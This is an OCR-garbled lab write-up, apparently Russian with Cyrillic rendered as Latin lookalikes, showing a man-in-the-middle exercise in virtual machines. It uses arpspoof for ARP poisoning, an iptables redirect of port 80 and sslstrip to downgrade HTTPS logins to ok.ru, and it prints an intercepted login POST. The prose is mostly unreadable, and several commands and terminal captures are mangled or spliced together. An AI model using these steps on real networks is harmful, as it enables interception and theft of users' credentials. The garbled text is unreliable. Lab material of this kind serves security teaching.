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BOT TaKoii HaGOp KOMaHE AOMKEH OCYLLECTBUTL NepexsaT
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -) REDIREC
T --to-port sose
# iptables -L
chain INPUT (policy ACCEPT)
rarget  prot opt source destination

chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
# sslstrip -w /tmp/ssistrip.log -1 8080

[ssistrip 6.9 by Moxie Marlinspike running.
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3. BbibpaThb canT https 1 c nomowbio arpspoof nepexsaTuTb AaHHbIE,
ucnonb3ys ssltrip. Caint oTKpbITh B 6pay3epe epTsebl (Bpaysep Ha
EMpTyBﬂbHUﬁ MalwunHe C KDTU[JDI;I NbITAOTCA NOAKNHYUTBLCA K BHEWWHeMY
canty).

Bo3bmem CaifT ok.ru v NepexsaTim 10rvH 1 NACC B KAYECTBE TPEHMPOBKY 3awwTel. CHavana
3anycTum arpspoof, atakyem DVL:

root@kall: ~ <
File Edit View Search Terminal Tabs Help

both -t 192.168.56.109 -r 192.168.56.1
fd:e6 6806 arp reply 192 1 is-at 8:

52:54:0:12:35:0 0806 arp reply 192.168 109 is-at
8:0:27:48:fd:e6 0806 42: arp reply 192

52:54:0:12:35:0 0806 42: arp reply 192 109 is-at
8:0:27:48:fd:e6 0806 42: arp reply 192 1 is-at 8:
2:54:0:12:35:0 0806 42: arp reply 192 109 is-at
8:0:27:48:fd:e6 0806 42: arp reply .1 is-at 8:
52:54:0:12:35:0 : arp reply .109 is-at

8:0:27:48:fd:e6 : arp reply .1 is-at 8:

52:54:0:12:35:0 : arp reply 109 is-at 8

Mponuwenm prerouting u ip forward = 1

root@kali: /tmp.
File Edit View Search Terminal Tabs Help

:/tmp# iptables -t nat -A PREROUTING -p tcp stination-port
REDIRECT --to-port 8080
# sslstrip -w /tmp/sslstr.log -1 8080

ssistrip 0.9 by Moxie Marlinspike runnin
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Wireshark:
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Frame 157:

© 7 wireshark_eth1__.6_Sh9FHP.pcapng

Ddren L rot@l

42 bytes on wire (336

DVL oTkpbisaem OK 1 cmoTpum nor

bits),

©000 52 54 @0 12 35 00 08 00 27 ©7 af fd 08 06 00 01 RT

Packets: 166 - Displayed: 166 (100.0%)

Protocol

(OS]

R[Apply 2 display filter . <Ctri-/>

No. Time Source Destination
150 118.024654483 PcsCompu_67:a Realteky 12:35:60  ARP
160 119243495847 PcsCompu_67:a Broadcast ARP
161 120025023964 PcsCompu_67:a PcsCompu_a8:fd:e6  ARP
162 120025112563 PcsCompu_07:a Realteky 12:35:00  ARP
163 120254781569 PcsCompu_07:a Broadcast ARp
164 121.278692649 PcsCompu_67:a Broadcast ARp
165 122025399824 PcsCompu_67:a PcsCompu_as: fd ARP
166 122025489369 PcsCompu_67:a Realteky 12:35: ARP

—
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az

42 bytes captured (336 bits) on interfac

Profile: Default
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wh
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DVL otkpbigaem OK 1 cMoTpUM n10rut:

9 Applications Places System
root@kali: /tmy

File Edit View Search Terminal Tabs Help

sh was called

: 1s
rverauth.XcQaHWcDeA

ssistr.log

wireshark_eth1 20196729065046_ShoFHP. pcapr
:/tmp# cat ss
ssh-T1CkcdsTynvf/ sslstr.log
# cat sslstr.log
[2019-07-29 06:55:42,112 SECURE POST Data
St.redirect=sst.asr—&st.posted=set&st .originalaction=httpu3A%2,
aFendaIDAnonymLogima0st  cadaDanseyet

TPEHNPOBOUHAR aTaKa yAANACk, AGHHBIE NEPEXBaYEHbI NOMBITKOV NOHIWKeHNA A0 http
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HacTpoum iptables u sanyctum sslstrip

# Iptables -t nat -A PREROUTING -p Tcp --destination-port 80 -J REDIRECT --t
# iptable

chain THPUT (policy

Brarger  prot opt destination

target  prot opt destination

Chain QUTPUT (policy ACCEPT)
targ prot opt source tination
¥ ssistrip -w /tap/sstrip.log - 8080

trip 0.9 by Moxie Harlinspike run
B MalUVtHe XepTBbl OTKpoeM Gpay3ep v 3aiiaem Ha caii ¢ hitps

Y10 Mbl BUAMUM. ABTOMATMHECKN NOMEHANOCH Ha hitp, Ho nonb3osatens aToro
MOXET He yBUAETb
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